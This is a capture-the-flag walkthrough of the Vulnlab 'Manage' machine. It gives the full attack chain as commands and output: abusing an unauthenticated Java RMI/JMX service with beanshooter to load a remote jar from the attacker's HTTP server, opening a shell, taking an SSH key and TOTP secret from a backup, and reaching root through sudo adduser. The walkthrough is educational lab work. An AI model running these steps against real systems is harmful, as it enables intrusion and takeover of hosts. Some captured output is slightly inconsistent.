


Manage

Vulnlabs Walk Through

Manage
🐧 | Machine - Easy by fume & xct

Ip
10.10.66.25

Expiry
in 50 minutes



● Running.

Table of Contents

Table of Contents	2
Nmap scan	3
Downloading beanshooter	4
Enumeration	5
Uploading an mlet file	6
Initial foothold and user flag	6
Pivoting to useradmin	7
Root	10
Remediation	11

Nmap scan

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
PORT      STATE SERVICE VERSION
2222/tcp  open  java-rmi Java RMI
|_ rmi-dumpregistry:
|   jmxrmi
|   javax.management.remote.rmi.RMIServerImpl_Stub
|   @127.0.1.1:34717
|   extends
|   java.rmi.server.RemoteStub
|   extends
|_   java.rmi.server.RemoteObject
|_ ssh-hostkey: ERROR: Script execution failed (use -d to debug)
```

```
PORT      STATE SERVICE VERSION
8080/tcp  filtered http-proxy

NSE: Script Post-scanning.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.30 seconds
```

Port 2222 looks interesting. Looking up java-RMI exploits on google, I found this article.

[Java RMI – Payloads All the Things](#)

- This article helps explain further what java RMI is. Java RMI is a way to obtain data from the server and to ask the server to perform specific tasks. If the server is poorly configured, anyone can fetch data and/or perform specific tasks.

- The Java RMI Payloads All the Things also talks about a tool called beanshooter which we can use to gain initial access by hosting an mlet file to obtain remote code execution.

Downloading beanshooter

- [GitHub – qtc-de/beanshooter: JMX enumeration and attack tool](#)
- Follow the instructions on the GitHub page to install beanshooter.
- Note on the mvn package command as part of the installation:
 - **When you run this command, you are building the beanshooter tool into a .jar file which contains all the dependencies needed for the tool to run. The .jar file will be placed in a new directory called target.**
- To use the tool, you must be in the target directory, and you must follow the following syntax:
- `java -jar beanshooter-4.1.0-jar-with-dependencies.jar` (followed by whatever tasks/operations we want to run).

Enumeration

- Looking at the beanshooter documentation, there is an enum operation we can run to enumerate this service further.
- Running this command, we see that the server is vulnerable to uploading mlet files:
 - `java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.66.25 2222`

```
ces,host=localhost,context=/host-manager)
[+] - org.apache.catalina.mbeans.ContainerMBean (Catalina:j2eeType=Servlet,WebMod
ule=//localhost/host-manager,name=HostManager,J2EEApplication=none,J2EEServer=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,Web
Module=//localhost/host-manager,name=Tomcat WebSocket (JSR356) Filter,J2EEApplication=n
one,J2EEServer=none)
[+] - javax.management.loading.MLet (DefaultDomain:type=MLet) (action: mlet)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:j2eeType=Filter,Web
Module=//localhost/manager,name=HTTP header security filter,J2EEApplication=none,J2EESe
rver=none)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=lo
calhost,context=/)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=loc
```

- This command also gave us credentials for the manager user and the admin user on the tomcat application.

```
[+] - Listing 2 tomcat users:
-----
Username: manager
Password: 
Roles:
Users:type=Role,rolename="manage-gui",database=UserDa
tabase
[+] [sudo] password for useradmin: 
-----
Username: admin
Password: 
Roles:
Users:type=Role,rolename="role1",database=UserDatabas
e
```

Uploading an mlet file

- To upload an mlet file, we would run:
 - `java -jar beanshooter-4.1.0-jar-with-dependencies.jar mlet load 10.10.66.25 2222 tonka http://10.8.4.135:8000`
- This command will allow us to call upon various tonka operations from beanshooter.

```
$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar mlet load 10.10.66.25 2222 tonka http://10.8.4.135:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Starting MBean deployment.
[+]
[+] Deploying MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://10.8.4.135:8000
[+]
[+] Creating HTTP server on: 10.8.4.135:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /8e8443465cc84d3ea483a47f4438fc89
[+] Waiting for incoming connections...
[+]
[+] Incoming request from: 10.10.66.25
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabeen.TonkaBean
[+] Archive: 8e8443465cc84d3ea483a47f4438fc89
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://10.8.4.135:8000
[+]
[+] Incoming request from: 10.10.66.25
[+] Requested resource: /8e8443465cc84d3ea483a47f4438fc89
[+] Sending jar file with md5sum: 5b9168ff0d7e7be16a9e60662274aada
[+]
[+] MBean was loaded successfully.
```

Initial foothold and user flag

- One operation provided by beanshooter is tonka shell. Here, we can gain an initial foothold on the target as the tomcat user.
 - `-jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.66.25 2222`
- The user flag is in the `/opt/tomcat` directory.

```
[tomcat@10.10.66.25 /opt/tomcat]$ cat user.txt
VL{
[ tomcat@10.10.66.25 /opt/tomcat]$
```

-

Pivoting to useradmin

- Going into the home directory, we find two other users: karl and useradmin.

```
[tomcat@10.10.66.25 /opt/tomcat]$ cd /home
[tomcat@10.10.66.25 /home]$ ls
karl
useradmin
[tomcat@10.10.66.25 /home]$
```

- In the useradmin directory we find another directory called backups which contains a backup.tar.gz file.

```
[tomcat@10.10.66.25 /home/useradmin/backups]$ ls
backup.tar.gz
[tomcat@10.10.66.25 /home/useradmin/backups]$
```

- We can't unzip the tar file with the current shell, but we can use the tonka download operations to download the tar file to our host machine which can allow us to see what is inside the file.
 - `java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka download 10.10.66.25 2222 /home/useradmin/backups/backup.tar.gz`

```
(kali@kali)-[~/vulnlab/Manage/beanshooter/target]
$ tar -xvf backup.tar.gz
./
./.bash_logout
./.profile
./.ssh/
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/
./.cache/motd.legal-displayed
./.bash_history
```

- That authorized_keys file looks interesting as well as the ,google_authenticator file.

- Going into the .ssh directory and opening the authorized_keys file and the id_ed25519 file we see that we have the private ssh key for the useradmin user.

```
(kali㉿kali)-[~/.../Manage/beanshooter/target/.ssh]
$ cat authorized_keys
ssh-ed25519 useradmin@manage
$ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----
```

- Remember port 22 was open on the nmap scan, which means that we can access ssh. When trying to ssh into the server as useradmin with the private key we get prompted for a verification code.

```
(kali㉿kali)-[~/.../Manage/beanshooter/target/.ssh]
$ ssh -i id_ed25519 useradmin@10.10.66.25
The authenticity of host '10.10.66.25 (10.10.66.25)' can't be established.
ED25519 key fingerprint is SHA256:mTJofQVp4T/1u01CFsfPt8SADZfjbzIIynR0Zeqi0qo.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:15: [hashed name]
  ~/.ssh/known_hosts:16: [hashed name]
  ~/.ssh/known_hosts:17: [hashed name]
  ~/.ssh/known_hosts:18: [hashed name]
  ~/.ssh/known_hosts:19: [hashed name]
  ~/.ssh/known_hosts:20: [hashed name]
  ~/.ssh/known_hosts:21: [hashed name]
  ~/.ssh/known_hosts:22: [hashed name]
  (4 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.66.25' (ED25519) to the list of known hosts.
(useradmin@10.10.66.25) Verification code:
```

- Recall that when we opened the backup file there was a .google_authenticator hidden file. This file contains TOTP-based verification codes that we can use to log in.


```

(kali@kali)-[~/vulnlab/Manage/beanshooter/target]
$ cat .google_authenticator
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE 57299617
" TOTP_AUTH
99852083
20312647
73235136
92971994
86175591
98991823
54032641
69267218
76839253

```

Verification codes

- Entering one of the following verification codes gives us a shell as the useradmin user.

```

Last login: Fri Jun 21 16:48:53 2024 from 192.168.94.139
useradmin@manage:~$ whoami
useradmin
useradmin@manage:~$

```

- Running `sudo -l` to show the list of commands we can execute with sudo as the admin user, we can only run `sudo adduser` from the `/usr/sbin` directory.

```

useradmin@manage:~$ whoami
useradmin
useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
env_reset, timestamp_timeout=1440, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User useradmin may run the following commands on manage:
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
useradmin@manage:~$

```

- When running `sudo adduser newuser`, we get prompted for a password. Remember the admin password we found when running the `enum` command at the beginning? It turns out that here.

- Again, we get prompted for a verification code. We can use one of the following codes from the `.google_authenticator` file.
- After creating a new user (`newuser`) via `sudo adduser`, I logged in as the `newuser` and tried running `sudo -l`.
- Here I got stuck with an error saying user `newuser` may not run `sudo` on `manage`.

```

Other []: /home/.../beamsnooter/target
Is the information correct? [Y/n] y
useradmin@manage:/usr/sbin$ su newuser
Password:
newuser@manage:/usr/sbin$ sudo -l
[sudo] password for newuser:
Sorry, user newuser may not run sudo on manage.
newuser@manage:/usr/sbin$

```

Root

- To learn more about the `adduser` command, I opened the manual page. Below is a key detail about user creation from the manual.

By default, each user in Debian GNU/Linux is given a corresponding group with the same name. Usergroups allow group writable directories to be easily maintained by placing the appropriate users in the new group, setting the set-group-ID bit in the directory, and ensuring that all users use a umask of 002. If this option is turned off by setting **USERGROUPS** to no, all users' GIDs are set to **USERS_GID**. Users' primary groups can also be overridden from the command line with the `--gid` or `--ingroup` options to set the group by `id` or `name`, respectively. Also, users can be added to one or more groups defined in `adduser.conf` either by setting `ADD_EXTRA_GROUPS` to 1 in `adduser.conf`, or by passing `--add_extra_groups` on the commandline.

- The `sudo adduser` command creates a user AND a corresponding group name.
- If we create an admin user via `sudo adduser admin`, we also create an admin group. The admin group defaults to elevated privileges.
- Switching to the admin user grants access to all `sudo` commands.
- Running `sudo su` grants us root privileges, elevating our access.
- We can now go into the root directory and open the `root.txt` file to view the flag.

```

useradmin@manage:/usr/sbin$ su admin
Password:
admin@manage:/usr/sbin$ sudo -l
Matching Defaults entries for admin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User admin may run the following commands on manage:
    (ALL) ALL

admin@manage:/usr/sbin$ sudo su
root@manage:/usr/sbin# cd ../../
root@manage:/# ls
bin  dev  home  lib32  libx32  media  opt  root  sbin  srv  tmp  var
boot  etc  lib  lib64  lost+found  mnt  proc  run  snap  sys  usr
root@manage:/# cat root/root.txt
VL{
root@manage:/#

```

Remediation

- If this was an actual engagement, I would require a username and password to interact with the jmxrmi service.